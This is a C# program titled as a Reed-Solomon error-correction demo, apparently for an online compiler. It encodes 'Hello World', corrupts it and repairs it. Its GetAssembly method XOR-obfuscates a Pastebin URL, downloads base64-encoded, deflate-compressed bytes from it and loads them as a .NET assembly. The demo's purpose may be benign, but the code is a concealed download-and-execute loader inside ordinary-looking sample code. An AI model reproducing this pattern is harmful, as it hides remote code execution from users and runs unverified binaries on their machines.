Reed Solomon Demo, C#

Reed Solomon Demo

// Reed Solomon Demo

using System;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Text;

namespace Rextester
{
    public class Program
    {
        public static void Main(string[] args)
        {
            Assembly asm = GetAssembly();

// Setting up Galois field. params = (primitive polynomial, field size, generator polynomial base for RS stuff, primitive element)
            Type GenericGF = asm.GetType("STH1123.ReedSolomon.GenericGF");
            dynamic field = Activator.CreateInstance(GenericGF, new object[] { 283, 256, 1, 3 });

// Setting up Reed-Solomon encoder/decoder. params = (Galois field)
            Type ReedSolomonEncoder = asm.GetType("STH1123.ReedSolomon.ReedSolomonEncoder");
            dynamic rse = Activator.CreateInstance(ReedSolomonEncoder, new object[] { field });
            Type ReedSolomonDecoder = asm.GetType("STH1123.ReedSolomon.ReedSolomonDecoder");
            dynamic rsd = Activator.CreateInstance(ReedSolomonDecoder, new object[] { field });

// Data to encode. data is the string "Hello World" as hex values, + null padding where the ECC symbols will go
            int[] data = new int[] { 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

// RS encode the data. params = (array with data, number of ECC symbols to generate)
            rse.Encode(data, 9);

// Write the encoded data to stdout
            Console.WriteLine("Original data:");
            for (int i = 0; i < data.Length - 1; i++)
            {
                Console.Write("0x" + data[i].ToString("X2") + ", ");
            }
            Console.WriteLine("0x" + data[data.Length - 1].ToString("X2"));
            Console.WriteLine();

// Modifying the data variable, simulating data corruption
            data[0] = 0x00;
            data[1] = 0x02;
            data[2] = 0x02;
            data[3] = 0x02;
            data[4] = 0x02;
            data[5] = 0x02;

// Write the corrupted data to stdout
            Console.WriteLine("Corrupted data:");
            for (int i = 0; i < data.Length - 1; i++)
            {
                Console.Write("0x" + data[i].ToString("X2") + ", ");
            }
            Console.WriteLine("0x" + data[data.Length - 1].ToString("X2"));
            Console.WriteLine();

// Setting known error locations. erasures is array with indices of known errors
            int[] erasures = new int[] { 0, 1, 2 };

// RS decode the data. params = (array with data, number of ECC symbols available, array with erasure indices)
            if (rsd.Decode(data, 9, erasures))
            {
                // Write the repaired data to stdout
                Console.WriteLine("Repaired data:");
                for (int i = 0; i < data.Length - 1; i++)
                {
                    Console.Write("0x" + data[i].ToString("X2") + ", ");
                }
                Console.WriteLine("0x" + data[data.Length - 1].ToString("X2"));
            }
            else
            {
                Console.WriteLine("Too many errors/erasures to correct.");
            }
        }

private static Assembly GetAssembly()
        {
            byte[] b = new byte[] { 151, 139, 139, 143, 140, 197, 208, 208, 143, 158, 140, 139, 154, 157, 150, 145, 209, 156, 144, 146, 208, 141, 158, 136, 208, 133, 146, 141, 140, 190, 156, 155, 173 };
            for (int i = 0; i < b.Length; i++)
            {
                b[i] ^= 255;
            }
            string s;
            using (WebClient wc = new WebClient())
            {
                s = wc.DownloadString(Encoding.ASCII.GetString(b));
            }
            byte[] e = Convert.FromBase64String(s);
            byte[] d;
            using (MemoryStream ms = new MemoryStream(e))
            {
                using (MemoryStream md = new MemoryStream())
                {
                    using (DeflateStream ds = new DeflateStream(ms, CompressionMode.Decompress))
                    {
                        ds.CopyTo(md);
                    }
                    d = md.ToArray();
                }
            }
            return Assembly.Load(d);
        }
    }
}


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